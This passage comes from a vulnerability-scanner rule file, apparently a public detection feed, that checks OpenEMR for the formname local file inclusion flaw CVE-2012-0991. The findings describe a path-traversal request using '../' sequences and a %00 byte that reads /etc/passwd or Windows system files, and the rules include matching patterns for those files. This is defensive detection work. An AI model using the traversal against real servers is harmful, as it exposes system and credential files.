    condition: 'hit_page != ""'
    on_match:
      set_vars:
        ctrl_hit: true

  # ── Findings (control answered and stayed clean) ─────────────────────────
  - id: report-passwd
    action: match
    source: lin_proof
    pattern: "^root:<redacted>:0:0:"
    condition: 'hit_page != "" && ctrl_r.status != 0 && ctrl_hit == false'
    on_match:
      finding:
        title: "OpenEMR formname Local File Inclusion (CVE-2012-0991)"
        description: "A request with formname set to a ../ sequence, etc/passwd and %00 returned the content of /etc/passwd, which the page included in place of a form file, while the same request for an absent file did not."
        remediation: "Upgrade OpenEMR to 4.1.1 or later, which rejects any formname outside [A-Za-z0-9_.-], run a PHP release that rejects NUL bytes in file paths (5.3.4 or later), and do not serve the contrib/ directory."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{hit_page}}?formname=<18 x ../>etc/passwd%00 returned /etc/passwd; control for an absent file returned no file content ({{lin_proof}})"
      stop: true

  - id: report-windows
    action: match
    source: win_file
    pattern: "^(windows/win\\.ini|boot\\.ini)$"
    condition: 'hit_page != "" && ctrl_r.status != 0 && ctrl_hit == false'
    on_match:
      finding:
        title: "OpenEMR formname Local File Inclusion (CVE-2012-0991)"
        description: "A request with formname set to a ../ sequence, a Windows system file and %00 returned that file's content, which the page included in place of a form file, while the same request for an absent file did not."
        remediation: "Upgrade OpenEMR to 4.1.1 or later, which rejects any formname outside [A-Za-z0-9_.-], run a PHP release that rejects NUL bytes in file paths (5.3.4 or later), and do not serve the contrib/ directory."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{hit_page}}?formname=<18 x ../>{{win_file}}%00 returned the content of {{win_file}}; control for an absent file returned no file content"
      stop: true

View these feeds on GitHub